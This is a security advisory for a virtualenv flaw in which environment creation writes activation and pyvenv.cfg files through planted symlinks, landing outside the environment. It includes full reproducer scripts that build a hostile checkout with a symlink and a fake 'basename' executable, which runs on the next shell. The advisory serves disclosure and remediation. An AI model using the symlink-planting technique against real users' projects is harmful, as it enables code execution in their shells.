GHSA-558c-9hv2-4prj: Code Injection

Summary

Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the existing path directly.

Anthropic's OSS Scanner reported this as ANT-2026-XBEOCBS1 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Final file entries written during environment creation and seeding.

Attacker-controlled input

Another account must be able to prepare file links in the destination before creation. The invoking user must have write permission at the linked target. The destination parent must remain controlled during creation; concurrent parent-directory replacement is a separate concern.

Affected code

The relevant 21.14.8 source is in template writer, configuration writer.

Mechanism

ViaTemplateActivator.generate() removes an existing output only when Path.exists() is true. A dangling symlink therefore survives, and writebytes() creates its target outside the environment. Other generated files have related final-entry behavior. PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing link; a symlink or hard link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's permission to write the linked target.

Reproduction and evidence

The scanner's project tree contains venv/bin/activate -> ../../../.bashaliases and an executable venv/bin/basename. Before creation, a new interactive bash does not create the marker. A plain virtualenv venv writes the activation script through the dangling link, creating ~/.bashaliases as a regular file. Debian's stock .bashrc sources that file; the next interactive bash adds venv/bin to PATH and the planted basename writes the marker. The reproducer checks that the link remains, ~/.bashaliases appears, and the second shell executes the planted file. A separate manual check links pyvenv.cfg to ~/.bashrc and observes the latter replaced with generated configuration text.

The link lets creation write outside the requested environment. The attacker chooses the target path but the generated bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first released in 20.0.0b1. PR #3431 replaces pre-existing output links and uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent directories during creation.

Attack sequence

mermaid sequenceDiagram participant A as Prepared project tree participant V as virtualenv writer participant H as User home participant B as Next interactive bash A->>V: venv/bin/activate links to missing ~/.bashaliases V->>V: Path.exists() follows link and returns false V->>H: write activation bytes through link H-->>B: ~/.bashaliases now exists B->>H: .bashrc sources ~/.bashaliases B->>A: PATH reaches planted venv/bin/basename A-->>B: marker created Note over V,H: pyvenv.cfg can also overwrite an existing linked target

Reproducer files

The following files are from the scanner report for ANT-2026-XBEOCBS1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import shutil import subprocess import sys import tempfile

set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bashaliases when that file exists home = tempfile.mkdtemp(prefix="home-") shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc") bashaliases = f"{home}/.bashaliases" marker = f"{home}/attacker-ran" openterminal = ["bash", "-i", "-c", "true"] terminalenv = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"}

the attacker's repository, cloned by the user to ~/proj checkout = f"{home}/proj" subprocess.run([sys.executable, "/tmp/repro.d/makehostilecheckout.py", checkout], check=True) activate = f"{checkout}/venv/bin/activate" print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True)

a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns) subprocess.run(openterminal, env=terminalenv, stderr=subprocess.DEVNULL, check=True) print("before virtualenv: ~/.bashaliases exists:", os.path.lexists(bashaliases), "| marker exists:", os.path.exists(marker), flush=True) assert not os.path.lexists(bashaliases) and not os.path.exists(marker)

trigger: the user creates an environment in the checkout, then opens a new terminal subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={os.environ, "HOME": home}, check=True) subprocess.run(openterminal, env=terminalenv, stderr=subprocess.DEVNULL, check=True)

check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bashaliases print("venv/bin/activate is still the symlink:", os.path.islink(activate)) writtenoutside = os.path.isfile(bashaliases) and not os.path.islink(bashaliases) print("~/.bashaliases created as a regular file:", writtenoutside) if writtenoutside: print(" its first line:", open(bashaliases).readline().rstrip()) attackercoderan = os.path.exists(marker) print("after a new terminal, marker exists:", attackercoderan) if attackercoderan: print(" it says:", open(marker).read().rstrip()) print("BUG" if writtenoutside and attackercoderan else "OK")

repro.d/fakebasename.sh

text #!/bin/sh echo "attacker code ran as $(id -un)" > "$HOME/attacker-ran" exec /usr/bin/basename "$@"

repro.d/makehostilecheckout.py

text import os import shutil import sys

checkout = sys.argv[1] bindir = os.path.join(checkout, "venv", "bin") os.makedirs(bindir)

venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bashaliases does not exist os.symlink("../../../.bashaliases", os.path.join(bindir, "activate"))

the bash activation script runs $(basename "$VIRTUALENV") right after putting venv/bin first on PATH fakebasename = os.path.join(bindir, "basename") shutil.copy(os.path.join(os.path.dirname(file), "fakebasename.sh"), fakebasename) os.chmod(fakebasename, 0o755)

Impact

Creation can overwrite or create files outside the requested environment with the invoking user's permissions. File contents are constrained by what virtualenv generates.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text files. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It then removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the configuration and ignore file paths. This also removes unrelated links directly in the executable directory. Final seed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib writes still require a destination protected from concurrent replacement.

Fix: PR #3431.

Known mitigation

Use a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.